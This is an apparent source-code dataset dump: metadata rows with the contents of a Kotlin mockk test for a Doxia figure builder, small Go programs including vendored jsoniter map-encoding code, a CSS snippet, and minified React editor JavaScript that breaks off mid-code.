hexsha
stringlengths 40
40
| size
int64 5
1.05M
| ext
stringclasses 98
values | lang
stringclasses 21
values | max_stars_repo_path
stringlengths 3
945
| max_stars_repo_name
stringlengths 4
118
| max_stars_repo_head_hexsha
stringlengths 40
78
| max_stars_repo_licenses
listlengths 1
10
| max_stars_count
int64 1
368k
⌀ | max_stars_repo_stars_event_min_datetime
stringlengths 24
24
⌀ | max_stars_repo_stars_event_max_datetime
stringlengths 24
24
⌀ | max_issues_repo_path
stringlengths 3
945
| max_issues_repo_name
stringlengths 4
118
| max_issues_repo_head_hexsha
stringlengths 40
78
| max_issues_repo_licenses
listlengths 1
10
| max_issues_count
int64 1
134k
⌀ | max_issues_repo_issues_event_min_datetime
stringlengths 24
24
⌀ | max_issues_repo_issues_event_max_datetime
stringlengths 24
24
⌀ | max_forks_repo_path
stringlengths 3
945
| max_forks_repo_name
stringlengths 4
135
| max_forks_repo_head_hexsha
stringlengths 40
78
| max_forks_repo_licenses
listlengths 1
10
| max_forks_count
int64 1
105k
⌀ | max_forks_repo_forks_event_min_datetime
stringlengths 24
24
⌀ | max_forks_repo_forks_event_max_datetime
stringlengths 24
24
⌀ | content
stringlengths 5
1.05M
| avg_line_length
float64 1
1.03M
| max_line_length
int64 2
1.03M
| alphanum_fraction
float64 0
1
|
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
de2a15c07dc866d194a10773fc99533810ec6a95
| 7,498 |
kt
|
Kotlin
|
src/test/kotlin/com/github/gantsign/maven/doxia/sink/kotlin/content/FigureTest.kt
|
gantsign/doxia-sink-api-ktx
|
4dd29fdf1d3128f960a848b3baa7465c5c5bfa89
|
[
"Apache-2.0"
] | null | null | null |
src/test/kotlin/com/github/gantsign/maven/doxia/sink/kotlin/content/FigureTest.kt
|
gantsign/doxia-sink-api-ktx
|
4dd29fdf1d3128f960a848b3baa7465c5c5bfa89
|
[
"Apache-2.0"
] | 214 |
2018-05-22T21:21:56.000Z
|
2022-03-20T16:39:56.000Z
|
src/test/kotlin/com/github/gantsign/maven/doxia/sink/kotlin/content/FigureTest.kt
|
gantsign/doxia-sink-api-ktx
|
4dd29fdf1d3128f960a848b3baa7465c5c5bfa89
|
[
"Apache-2.0"
] | null | null | null |
/*-
* #%L
* doxia-sink-api-ktx
* %%
* Copyright (C) 2018 GantSign Ltd.
* %%
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
* #L%
*/
package com.github.gantsign.maven.doxia.sink.kotlin.content
import com.github.gantsign.maven.doxia.sink.kotlin.get
import com.github.gantsign.maven.doxia.sink.kotlin.style.FontStyle
import com.github.gantsign.maven.doxia.sink.kotlin.style.SimpleStyle
import io.mockk.Runs
import io.mockk.confirmVerified
import io.mockk.every
import io.mockk.just
import io.mockk.mockk
import io.mockk.slot
import io.mockk.verify
import org.apache.maven.doxia.sink.Sink
import org.apache.maven.doxia.sink.SinkEventAttributes
import org.assertj.core.api.Assertions.assertThat
import org.junit.jupiter.api.Test
class FigureTest {
@Test
fun `no args`() {
val sink: Sink = mockk(relaxed = true)
val figureContainer = object : FigureContainer {
override val sink: Sink = sink
}
val figureAttributesSlot = slot<SinkEventAttributes>()
val figureCaptionAttributesSlot = slot<SinkEventAttributes>()
val figureGraphicsAttributesSlot = slot<SinkEventAttributes>()
every { sink.figure(capture(figureAttributesSlot)) } just Runs
every { sink.figureCaption(capture(figureCaptionAttributesSlot)) } just Runs
every {
sink.figureGraphics(
"http://example.com",
capture(figureGraphicsAttributesSlot)
)
} just Runs
figureContainer.figure {
caption {
+"caption1"
}
figureGraphics("http://example.com")
}
verify { sink.figure(any()) }
figureAttributesSlot.captured.also {
assertThat(it[SinkEventAttributes.ID]).isNull()
assertThat(it[SinkEventAttributes.CLASS]).isNull()
assertThat(it[SinkEventAttributes.STYLE]).isNull()
assertThat(it[SinkEventAttributes.LANG]).isNull()
assertThat(it[SinkEventAttributes.TITLE]).isNull()
}
verify { sink.figureCaption(any()) }
figureCaptionAttributesSlot.captured.also {
assertThat(it[SinkEventAttributes.ID]).isNull()
assertThat(it[SinkEventAttributes.CLASS]).isNull()
assertThat(it[SinkEventAttributes.STYLE]).isNull()
assertThat(it[SinkEventAttributes.LANG]).isNull()
assertThat(it[SinkEventAttributes.TITLE]).isNull()
}
verify { sink.text("caption1") }
verify { sink.figureCaption_() }
verify { sink.figureGraphics("http://example.com", any()) }
figureGraphicsAttributesSlot.captured.also {
assertThat(it[SinkEventAttributes.ALT]).isNull()
assertThat(it[SinkEventAttributes.WIDTH]).isNull()
assertThat(it[SinkEventAttributes.HEIGHT]).isNull()
assertThat(it[SinkEventAttributes.ALIGN]).isNull()
assertThat(it[SinkEventAttributes.BORDER]).isNull()
assertThat(it[SinkEventAttributes.HSPACE]).isNull()
assertThat(it[SinkEventAttributes.VSPACE]).isNull()
assertThat(it[SinkEventAttributes.ISMAP]).isNull()
assertThat(it[SinkEventAttributes.USEMAP]).isNull()
assertThat(it[SinkEventAttributes.ID]).isNull()
assertThat(it[SinkEventAttributes.CLASS]).isNull()
assertThat(it[SinkEventAttributes.STYLE]).isNull()
assertThat(it[SinkEventAttributes.LANG]).isNull()
assertThat(it[SinkEventAttributes.TITLE]).isNull()
}
verify { sink.figure_() }
confirmVerified(sink)
}
@Test
fun `with args`() {
val sink: Sink = mockk(relaxed = true)
val figureContainer = object : FigureContainer {
override val sink: Sink = sink
}
val figureAttributesSlot = slot<SinkEventAttributes>()
val figureCaptionAttributesSlot = slot<SinkEventAttributes>()
val figureGraphicsAttributesSlot = slot<SinkEventAttributes>()
every { sink.figure(capture(figureAttributesSlot)) } just Runs
every { sink.figureCaption(capture(figureCaptionAttributesSlot)) } just Runs
every {
sink.figureGraphics(
"http://example.com",
capture(figureGraphicsAttributesSlot)
)
} just Runs
figureContainer.figure(
id = "id1",
cssClass = "class1",
style = SimpleStyle(FontStyle.BOLD),
lang = "lang1",
title = "title1"
) {
caption(
id = "id2",
cssClass = "class2",
style = SimpleStyle(FontStyle.ITALIC),
lang = "lang2",
title = "title2"
) {
+"caption1"
}
figureGraphics("http://example.com")
}
verify { sink.figure(any()) }
figureAttributesSlot.captured.also {
assertThat(it[SinkEventAttributes.ID]).isEqualTo("id1")
assertThat(it[SinkEventAttributes.CLASS]).isEqualTo("class1")
assertThat(it[SinkEventAttributes.STYLE]).isEqualTo("bold")
assertThat(it[SinkEventAttributes.LANG]).isEqualTo("lang1")
assertThat(it[SinkEventAttributes.TITLE]).isEqualTo("title1")
}
verify { sink.figureCaption(any()) }
figureCaptionAttributesSlot.captured.also {
assertThat(it[SinkEventAttributes.ID]).isEqualTo("id2")
assertThat(it[SinkEventAttributes.CLASS]).isEqualTo("class2")
assertThat(it[SinkEventAttributes.STYLE]).isEqualTo("italic")
assertThat(it[SinkEventAttributes.LANG]).isEqualTo("lang2")
assertThat(it[SinkEventAttributes.TITLE]).isEqualTo("title2")
}
verify { sink.text("caption1") }
verify { sink.figureCaption_() }
verify { sink.figureGraphics("http://example.com", any()) }
figureGraphicsAttributesSlot.captured.also {
assertThat(it[SinkEventAttributes.ALT]).isNull()
assertThat(it[SinkEventAttributes.WIDTH]).isNull()
assertThat(it[SinkEventAttributes.HEIGHT]).isNull()
assertThat(it[SinkEventAttributes.ALIGN]).isNull()
assertThat(it[SinkEventAttributes.BORDER]).isNull()
assertThat(it[SinkEventAttributes.HSPACE]).isNull()
assertThat(it[SinkEventAttributes.VSPACE]).isNull()
assertThat(it[SinkEventAttributes.ISMAP]).isNull()
assertThat(it[SinkEventAttributes.USEMAP]).isNull()
assertThat(it[SinkEventAttributes.ID]).isNull()
assertThat(it[SinkEventAttributes.CLASS]).isNull()
assertThat(it[SinkEventAttributes.STYLE]).isNull()
assertThat(it[SinkEventAttributes.LANG]).isNull()
assertThat(it[SinkEventAttributes.TITLE]).isNull()
}
verify { sink.figure_() }
confirmVerified(sink)
}
}
| 37.49 | 84 | 0.636703 |
7f49c4d3f75173cd24787ba3418f6037f4f3cccf
| 129 |
go
|
Go
|
programs/3-semantics+codegen/valid/structEquality.go
|
npereira97/golang-subset-compiler
|
362284dc40e4a46216ac6a0f7437ff7db05e52d3
|
[
"MIT"
] | null | null | null |
programs/3-semantics+codegen/valid/structEquality.go
|
npereira97/golang-subset-compiler
|
362284dc40e4a46216ac6a0f7437ff7db05e52d3
|
[
"MIT"
] | null | null | null |
programs/3-semantics+codegen/valid/structEquality.go
|
npereira97/golang-subset-compiler
|
362284dc40e4a46216ac6a0f7437ff7db05e52d3
|
[
"MIT"
] | null | null | null |
//~truefalse
package kumquat;
func main() {
var a, b struct {
_ float64
f int
}
print(a == b)
a.f = 5;
print(a == b);
}
| 10.75 | 18 | 0.550388 |
cb40538f50798dde08720acc56c3c1e2d59a2755
| 8,047 |
go
|
Go
|
vendor/github.com/json-iterator/go/feature_reflect_map.go
|
Lin-Buo-Ren/go-fastdfs
|
ce1df04ef23a4360095421a02767476451e519f4
|
[
"Unlicense"
] | 182 |
2017-08-24T18:35:47.000Z
|
2022-02-27T05:38:59.000Z
|
vendor/github.com/json-iterator/go/feature_reflect_map.go
|
gaoluhua99/go-fastdfs
|
89a42c5a09c1771c8b47a91c89a6a43727a90489
|
[
"Unlicense"
] | 82 |
2017-10-16T05:05:58.000Z
|
2019-12-12T14:48:55.000Z
|
vendor/github.com/json-iterator/go/feature_reflect_map.go
|
gaoluhua99/go-fastdfs
|
89a42c5a09c1771c8b47a91c89a6a43727a90489
|
[
"Unlicense"
] | 24 |
2017-11-22T13:06:56.000Z
|
2022-01-14T21:33:53.000Z
|
package jsoniter
import (
"encoding"
"encoding/json"
"reflect"
"sort"
"strconv"
"unsafe"
)
func decoderOfMap(cfg *frozenConfig, prefix string, typ reflect.Type) ValDecoder {
decoder := decoderOfType(cfg, prefix+"[map]->", typ.Elem())
mapInterface := reflect.New(typ).Interface()
return &mapDecoder{typ, typ.Key(), typ.Elem(), decoder, extractInterface(mapInterface)}
}
func encoderOfMap(cfg *frozenConfig, prefix string, typ reflect.Type) ValEncoder {
elemType := typ.Elem()
encoder := encoderOfType(cfg, prefix+"[map]->", elemType)
mapInterface := reflect.New(typ).Elem().Interface()
if cfg.sortMapKeys {
return &sortKeysMapEncoder{typ, elemType, encoder, *((*emptyInterface)(unsafe.Pointer(&mapInterface)))}
}
return &mapEncoder{typ, elemType, encoder, *((*emptyInterface)(unsafe.Pointer(&mapInterface)))}
}
type mapDecoder struct {
mapType reflect.Type
keyType reflect.Type
elemType reflect.Type
elemDecoder ValDecoder
mapInterface emptyInterface
}
func (decoder *mapDecoder) Decode(ptr unsafe.Pointer, iter *Iterator) {
// dark magic to cast unsafe.Pointer back to interface{} using reflect.Type
mapInterface := decoder.mapInterface
mapInterface.word = ptr
realInterface := (*interface{})(unsafe.Pointer(&mapInterface))
realVal := reflect.ValueOf(*realInterface).Elem()
if iter.ReadNil() {
realVal.Set(reflect.Zero(decoder.mapType))
return
}
if realVal.IsNil() {
realVal.Set(reflect.MakeMap(realVal.Type()))
}
iter.ReadMapCB(func(iter *Iterator, keyStr string) bool {
elem := reflect.New(decoder.elemType)
decoder.elemDecoder.Decode(unsafe.Pointer(elem.Pointer()), iter)
// to put into map, we have to use reflection
keyType := decoder.keyType
// TODO: remove this from loop
switch {
case keyType.Kind() == reflect.String:
realVal.SetMapIndex(reflect.ValueOf(keyStr).Convert(keyType), elem.Elem())
return true
case keyType.Implements(textUnmarshalerType):
textUnmarshaler := reflect.New(keyType.Elem()).Interface().(encoding.TextUnmarshaler)
err := textUnmarshaler.UnmarshalText([]byte(keyStr))
if err != nil {
iter.ReportError("read map key as TextUnmarshaler", err.Error())
return false
}
realVal.SetMapIndex(reflect.ValueOf(textUnmarshaler), elem.Elem())
return true
case reflect.PtrTo(keyType).Implements(textUnmarshalerType):
textUnmarshaler := reflect.New(keyType).Interface().(encoding.TextUnmarshaler)
err := textUnmarshaler.UnmarshalText([]byte(keyStr))
if err != nil {
iter.ReportError("read map key as TextUnmarshaler", err.Error())
return false
}
realVal.SetMapIndex(reflect.ValueOf(textUnmarshaler).Elem(), elem.Elem())
return true
default:
switch keyType.Kind() {
case reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64:
n, err := strconv.ParseInt(keyStr, 10, 64)
if err != nil || reflect.Zero(keyType).OverflowInt(n) {
iter.ReportError("read map key as int64", "read int64 failed")
return false
}
realVal.SetMapIndex(reflect.ValueOf(n).Convert(keyType), elem.Elem())
return true
case reflect.Uint, reflect.Uint8, reflect.Uint16, reflect.Uint32, reflect.Uint64, reflect.Uintptr:
n, err := strconv.ParseUint(keyStr, 10, 64)
if err != nil || reflect.Zero(keyType).OverflowUint(n) {
iter.ReportError("read map key as uint64", "read uint64 failed")
return false
}
realVal.SetMapIndex(reflect.ValueOf(n).Convert(keyType), elem.Elem())
return true
}
}
iter.ReportError("read map key", "unexpected map key type "+keyType.String())
return true
})
}
type mapEncoder struct {
mapType reflect.Type
elemType reflect.Type
elemEncoder ValEncoder
mapInterface emptyInterface
}
func (encoder *mapEncoder) Encode(ptr unsafe.Pointer, stream *Stream) {
mapInterface := encoder.mapInterface
mapInterface.word = ptr
realInterface := (*interface{})(unsafe.Pointer(&mapInterface))
realVal := reflect.ValueOf(*realInterface)
stream.WriteObjectStart()
for i, key := range realVal.MapKeys() {
if i != 0 {
stream.WriteMore()
}
encodeMapKey(key, stream)
if stream.indention > 0 {
stream.writeTwoBytes(byte(':'), byte(' '))
} else {
stream.writeByte(':')
}
val := realVal.MapIndex(key).Interface()
encoder.elemEncoder.EncodeInterface(val, stream)
}
stream.WriteObjectEnd()
}
func encodeMapKey(key reflect.Value, stream *Stream) {
if key.Kind() == reflect.String {
stream.WriteString(key.String())
return
}
if tm, ok := key.Interface().(encoding.TextMarshaler); ok {
buf, err := tm.MarshalText()
if err != nil {
stream.Error = err
return
}
stream.writeByte('"')
stream.Write(buf)
stream.writeByte('"')
return
}
switch key.Kind() {
case reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64:
stream.writeByte('"')
stream.WriteInt64(key.Int())
stream.writeByte('"')
return
case reflect.Uint, reflect.Uint8, reflect.Uint16, reflect.Uint32, reflect.Uint64, reflect.Uintptr:
stream.writeByte('"')
stream.WriteUint64(key.Uint())
stream.writeByte('"')
return
}
stream.Error = &json.UnsupportedTypeError{Type: key.Type()}
}
func (encoder *mapEncoder) EncodeInterface(val interface{}, stream *Stream) {
WriteToStream(val, stream, encoder)
}
func (encoder *mapEncoder) IsEmpty(ptr unsafe.Pointer) bool {
mapInterface := encoder.mapInterface
mapInterface.word = ptr
realInterface := (*interface{})(unsafe.Pointer(&mapInterface))
realVal := reflect.ValueOf(*realInterface)
return realVal.Len() == 0
}
type sortKeysMapEncoder struct {
mapType reflect.Type
elemType reflect.Type
elemEncoder ValEncoder
mapInterface emptyInterface
}
func (encoder *sortKeysMapEncoder) Encode(ptr unsafe.Pointer, stream *Stream) {
mapInterface := encoder.mapInterface
mapInterface.word = ptr
realInterface := (*interface{})(unsafe.Pointer(&mapInterface))
realVal := reflect.ValueOf(*realInterface)
// Extract and sort the keys.
keys := realVal.MapKeys()
sv := stringValues(make([]reflectWithString, len(keys)))
for i, v := range keys {
sv[i].v = v
if err := sv[i].resolve(); err != nil {
stream.Error = err
return
}
}
sort.Sort(sv)
stream.WriteObjectStart()
for i, key := range sv {
if i != 0 {
stream.WriteMore()
}
stream.WriteVal(key.s) // might need html escape, so can not WriteString directly
if stream.indention > 0 {
stream.writeTwoBytes(byte(':'), byte(' '))
} else {
stream.writeByte(':')
}
val := realVal.MapIndex(key.v).Interface()
encoder.elemEncoder.EncodeInterface(val, stream)
}
stream.WriteObjectEnd()
}
// stringValues is a slice of reflect.Value holding *reflect.StringValue.
// It implements the methods to sort by string.
type stringValues []reflectWithString
type reflectWithString struct {
v reflect.Value
s string
}
func (w *reflectWithString) resolve() error {
if w.v.Kind() == reflect.String {
w.s = w.v.String()
return nil
}
if tm, ok := w.v.Interface().(encoding.TextMarshaler); ok {
buf, err := tm.MarshalText()
w.s = string(buf)
return err
}
switch w.v.Kind() {
case reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64:
w.s = strconv.FormatInt(w.v.Int(), 10)
return nil
case reflect.Uint, reflect.Uint8, reflect.Uint16, reflect.Uint32, reflect.Uint64, reflect.Uintptr:
w.s = strconv.FormatUint(w.v.Uint(), 10)
return nil
}
return &json.UnsupportedTypeError{Type: w.v.Type()}
}
func (sv stringValues) Len() int { return len(sv) }
func (sv stringValues) Swap(i, j int) { sv[i], sv[j] = sv[j], sv[i] }
func (sv stringValues) Less(i, j int) bool { return sv[i].s < sv[j].s }
func (encoder *sortKeysMapEncoder) EncodeInterface(val interface{}, stream *Stream) {
WriteToStream(val, stream, encoder)
}
func (encoder *sortKeysMapEncoder) IsEmpty(ptr unsafe.Pointer) bool {
mapInterface := encoder.mapInterface
mapInterface.word = ptr
realInterface := (*interface{})(unsafe.Pointer(&mapInterface))
realVal := reflect.ValueOf(*realInterface)
return realVal.Len() == 0
}
| 30.831418 | 105 | 0.707469 |
61d8a8e6926899725e6f85981baa61eec3b39570
| 136 |
css
|
CSS
|
frontend/src/app/components/expense/add/expense.add.component.css
|
LickIt/expense-tracker
|
96e661ac8cdb8e960b253afe7572931ea66df1a5
|
[
"MIT"
] | null | null | null |
frontend/src/app/components/expense/add/expense.add.component.css
|
LickIt/expense-tracker
|
96e661ac8cdb8e960b253afe7572931ea66df1a5
|
[
"MIT"
] | 12 |
2018-08-09T07:19:06.000Z
|
2021-04-01T18:58:41.000Z
|
frontend/src/app/components/expense/add/expense.add.component.css
|
LickIt/expense-tracker
|
96e661ac8cdb8e960b253afe7572931ea66df1a5
|
[
"MIT"
] | null | null | null |
:host > form {
display: flex;
flex-flow: column;
max-width: var(--form-max-width);
}
.manage-categories {
padding: 0;
}
| 15.111111 | 37 | 0.588235 |
74c0ae37c3be36fc52698541ce8e14cda32f2706
| 113,096 |
js
|
JavaScript
|
8-674202704808286dce63.js
|
sundicide/sundicide.github.io
|
dd9e67f1e59cb5e6dd6e625271b2458371a75873
|
[
"Apache-2.0",
"MIT"
] | null | null | null |
8-674202704808286dce63.js
|
sundicide/sundicide.github.io
|
dd9e67f1e59cb5e6dd6e625271b2458371a75873
|
[
"Apache-2.0",
"MIT"
] | null | null | null |
8-674202704808286dce63.js
|
sundicide/sundicide.github.io
|
dd9e67f1e59cb5e6dd6e625271b2458371a75873
|
[
"Apache-2.0",
"MIT"
] | null | null | null |
/*! For license information please see 8-674202704808286dce63.js.LICENSE.txt */
(window.webpackJsonp=window.webpackJsonp||[]).push([[8],{"+lvF":function(e,t,n){e.exports=n("VTer")("native-function-to-string",Function.toString)},"0/R4":function(e,t){e.exports=function(e){return"object"==typeof e?null!==e:"function"==typeof e}},"1FMc":function(e,t,n){var r=n("4jnk"),a=n("kCiC"),o="["+n("KYgN")+"]",i=RegExp("^"+o+o+"*"),s=RegExp(o+o+"*$"),l=function(e){return function(t){var n=a(r(t));return 1&e&&(n=n.replace(i,"")),2&e&&(n=n.replace(s,"")),n}};e.exports={start:l(1),end:l(2),trim:l(3)}},"2OiF":function(e,t){e.exports=function(e){if("function"!=typeof e)throw TypeError(e+" is not a function!");return e}},"3Mpw":function(e,t,n){"use strict";n("RUBk");var r=n("SVOR"),a=n("q1tI");r.a;function o(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function i(){return(i=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e}).apply(this,arguments)}var s=/\r\n|\r|\n/,l=function(e){0===e.length?e.push({types:["plain"],content:"\n",empty:!0}):1===e.length&&""===e[0].content&&(e[0].content="\n",e[0].empty=!0)},u=function(e,t){var n=e.length;return n>0&&e[n-1]===t?e:e.concat(t)},c=function(e,t){var n=e.plain,r=Object.create(null),a=e.styles.reduce((function(e,n){var r=n.languages,a=n.style;return r&&!r.includes(t)||n.types.forEach((function(t){var n=i({},e[t],a);e[t]=n})),e}),r);return a.root=n,a.plain=i({},n,{backgroundColor:null}),a};function p(e,t){var n={};for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&-1===t.indexOf(r)&&(n[r]=e[r]);return n}var f=function(e){function t(){for(var t=this,n=[],r=arguments.length;r--;)n[r]=arguments[r];e.apply(this,n),o(this,"getThemeDict",(function(e){if(void 0!==t.themeDict&&e.theme===t.prevTheme&&e.language===t.prevLanguage)return t.themeDict;t.prevTheme=e.theme,t.prevLanguage=e.language;var n=e.theme?c(e.theme,e.language):void 0;return t.themeDict=n})),o(this,"getLineProps",(function(e){var n=e.key,r=e.className,a=e.style,o=i({},p(e,["key","className","style","line"]),{className:"token-line",style:void 0,key:void 0}),s=t.getThemeDict(t.props);return void 0!==s&&(o.style=s.plain),void 0!==a&&(o.style=void 0!==o.style?i({},o.style,a):a),void 0!==n&&(o.key=n),r&&(o.className+=" "+r),o})),o(this,"getStyleForToken",(function(e){var n=e.types,r=e.empty,a=n.length,o=t.getThemeDict(t.props);if(void 0!==o){if(1===a&&"plain"===n[0])return r?{display:"inline-block"}:void 0;if(1===a&&!r)return o[n[0]];var i=r?{display:"inline-block"}:{},s=n.map((function(e){return o[e]}));return Object.assign.apply(Object,[i].concat(s))}})),o(this,"getTokenProps",(function(e){var n=e.key,r=e.className,a=e.style,o=e.token,s=i({},p(e,["key","className","style","token"]),{className:"token "+o.types.join(" "),children:o.content,style:t.getStyleForToken(o),key:void 0});return void 0!==a&&(s.style=void 0!==s.style?i({},s.style,a):a),void 0!==n&&(s.key=n),r&&(s.className+=" "+r),s})),o(this,"tokenize",(function(e,t,n,r){var a={code:t,grammar:n,language:r,tokens:[]};e.hooks.run("before-tokenize",a);var o=a.tokens=e.tokenize(a.code,a.grammar,a.language);return e.hooks.run("after-tokenize",a),o}))}return e&&(t.__proto__=e),t.prototype=Object.create(e&&e.prototype),t.prototype.constructor=t,t.prototype.render=function(){var e=this.props,t=e.Prism,n=e.language,r=e.code,a=e.children,o=this.getThemeDict(this.props),i=t.languages[n];return a({tokens:function(e){for(var t=[[]],n=[e],r=[0],a=[e.length],o=0,i=0,c=[],p=[c];i>-1;){for(;(o=r[i]++)<a[i];){var f=void 0,d=t[i],g=n[i][o];if("string"==typeof g?(d=i>0?d:["plain"],f=g):(d=u(d,g.type),g.alias&&(d=u(d,g.alias)),f=g.content),"string"==typeof f){var h=f.split(s),y=h.length;c.push({types:d,content:h[0]});for(var b=1;b<y;b++)l(c),p.push(c=[]),c.push({types:d,content:h[b]})}else i++,t.push(d),n.push(f),r.push(0),a.push(f.length)}i--,t.pop(),n.pop(),r.pop(),a.pop()}return l(c),p}(void 0!==i?this.tokenize(t,r,i,n):[r]),className:"prism-code language-"+n,style:void 0!==o?o.root:{},getLineProps:this.getLineProps,getTokenProps:this.getTokenProps})},t}(a.Component);t.a=f},"49sm":function(e,t){var n={}.toString;e.exports=Array.isArray||function(e){return"[object Array]"==n.call(e)}},"4R4u":function(e,t){e.exports="constructor,hasOwnProperty,isPrototypeOf,propertyIsEnumerable,toLocaleString,toString,valueOf".split(",")},"55sP":function(e,t,n){var r=n("JhOX"),a=n("KYgN");e.exports=function(e){return r((function(){return!!a[e]()||"
"!="
"[e]()||a[e].name!==e}))}},"6MHB":function(e,t,n){"use strict";var r,a,o,i=n("8cO9"),s=n("IvzW"),l=n("REpN"),u=n("ckLD"),c=n("34EK"),p=n("yjCN"),f=n("Bgjm"),d=n("+7hJ"),g=n("jekk").f,h=n("vAJC"),y=n("fMfZ"),b=n("QD2z"),m=n("F8ZZ"),v=l.Int8Array,E=v&&v.prototype,w=l.Uint8ClampedArray,S=w&&w.prototype,_=v&&h(v),k=E&&h(E),A=Object.prototype,T=A.isPrototypeOf,R=b("toStringTag"),O=m("TYPED_ARRAY_TAG"),I=m("TYPED_ARRAY_CONSTRUCTOR"),x=i&&!!y&&"Opera"!==p(l.opera),C=!1,P={Int8Array:1,Uint8Array:1,Uint8ClampedArray:1,Int16Array:2,Uint16Array:2,Int32Array:4,Uint32Array:4,Float32Array:4,Float64Array:8},L={BigInt64Array:8,BigUint64Array:8},F=function(e){if(!u(e))return!1;var t=p(e);return c(P,t)||c(L,t)};for(r in P)(o=(a=l[r])&&a.prototype)?f(o,I,a):x=!1;for(r in L)(o=(a=l[r])&&a.prototype)&&f(o,I,a);if((!x||"function"!=typeof _||_===Function.prototype)&&(_=function(){throw TypeError("Incorrect invocation")},x))for(r in P)l[r]&&y(l[r],_);if((!x||!k||k===A)&&(k=_.prototype,x))for(r in P)l[r]&&y(l[r].prototype,k);if(x&&h(S)!==k&&y(S,k),s&&!c(k,R))for(r in C=!0,g(k,R,{get:function(){return u(this)?this[O]:void 0}}),P)l[r]&&f(l[r],O,r);e.exports={NATIVE_ARRAY_BUFFER_VIEWS:x,TYPED_ARRAY_CONSTRUCTOR:I,TYPED_ARRAY_TAG:C&&O,aTypedArray:function(e){if(F(e))return e;throw TypeError("Target is not a typed array")},aTypedArrayConstructor:function(e){if(y&&!T.call(_,e))throw TypeError("Target is not a typed array constructor");return e},exportTypedArrayMethod:function(e,t,n){if(s){if(n)for(var r in P){var a=l[r];if(a&&c(a.prototype,e))try{delete a.prototype[e]}catch(o){}}k[e]&&!n||d(k,e,n?t:x&&E[e]||t)}},exportTypedArrayStaticMethod:function(e,t,n){var r,a;if(s){if(y){if(n)for(r in P)if((a=l[r])&&c(a,e))try{delete a[e]}catch(o){}if(_[e]&&!n)return;try{return d(_,e,n?t:x&&_[e]||t)}catch(o){}}for(r in P)!(a=l[r])||a[e]&&!n||d(a,e,t)}},isView:function(e){if(!u(e))return!1;var t=p(e);return"DataView"===t||c(P,t)||c(L,t)},isTypedArray:F,TypedArray:_,TypedArrayPrototype:k}},"8Ppc":function(e,t,n){"use strict";(function(e){Object.defineProperty(t,"__esModule",{value:!0});var r=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},a=function(){function e(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}return function(t,n,r){return n&&e(t.prototype,n),r&&e(t,r),t}}(),o=function(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var n in e)Object.prototype.hasOwnProperty.call(e,n)&&(t[n]=e[n]);return t.default=e,t}(n("q1tI"));function i(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function s(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}var l="navigator"in e&&/Win/i.test(navigator.platform),u="navigator"in e&&/(Mac|iPhone|iPod|iPad)/i.test(navigator.platform),c="npm__react-simple-code-editor__textarea",p=function(e){function t(){var e,n,a;i(this,t);for(var o=arguments.length,c=Array(o),p=0;p<o;p++)c[p]=arguments[p];return n=a=s(this,(e=t.__proto__||Object.getPrototypeOf(t)).call.apply(e,[this].concat(c))),a.state={capture:!0},a._recordCurrentState=function(){var e=a._input;if(e){var t=e.value,n=e.selectionStart,r=e.selectionEnd;a._recordChange({value:t,selectionStart:n,selectionEnd:r})}},a._getLines=function(e,t){return e.substring(0,t).split("\n")},a._recordChange=function(e){var t=arguments.length>1&&void 0!==arguments[1]&&arguments[1],n=a._history,o=n.stack,i=n.offset;if(o.length&&i>-1){a._history.stack=o.slice(0,i+1);var s=a._history.stack.length;if(s>100){var l=s-100;a._history.stack=o.slice(l,s),a._history.offset=Math.max(a._history.offset-l,0)}}var u=Date.now();if(t){var c=a._history.stack[a._history.offset];if(c&&u-c.timestamp<3e3){var p=/[^a-z0-9]([a-z0-9]+)$/i,f=a._getLines(c.value,c.selectionStart).pop().match(p),d=a._getLines(e.value,e.selectionStart).pop().match(p);if(f&&d&&d[1].startsWith(f[1]))return void(a._history.stack[a._history.offset]=r({},e,{timestamp:u}))}}a._history.stack.push(r({},e,{timestamp:u})),a._history.offset++},a._updateInput=function(e){var t=a._input;t&&(t.value=e.value,t.selectionStart=e.selectionStart,t.selectionEnd=e.selectionEnd,a.props.onValueChange(e.value))},a._applyEdits=function(e){var t=a._input,n=a._history.stack[a._history.offset];n&&t&&(a._history.stack[a._history.offset]=r({},n,{selectionStart:t.selectionStart,selectionEnd:t.selectionEnd})),a._recordChange(e),a._updateInput(e)},a._undoEdit=function(){var e=a._history,t=e.stack,n=e.offset,r=t[n-1];r&&(a._updateInput(r),a._history.offset=Math.max(n-1,0))},a._redoEdit=function(){var e=a._history,t=e.stack,n=e.offset,r=t[n+1];r&&(a._updateInput(r),a._history.offset=Math.min(n+1,t.length-1))},a._handleKeyDown=function(e){var t=a.props,n=t.tabSize,r=t.insertSpaces,o=t.ignoreTabKey,i=t.onKeyDown;if(!i||(i(e),!e.defaultPrevented)){27===e.keyCode&&e.target.blur();var s=e.target,c=s.value,p=s.selectionStart,f=s.selectionEnd,d=(r?" ":"\t").repeat(n);if(9===e.keyCode&&!o&&a.state.capture)if(e.preventDefault(),e.shiftKey){var 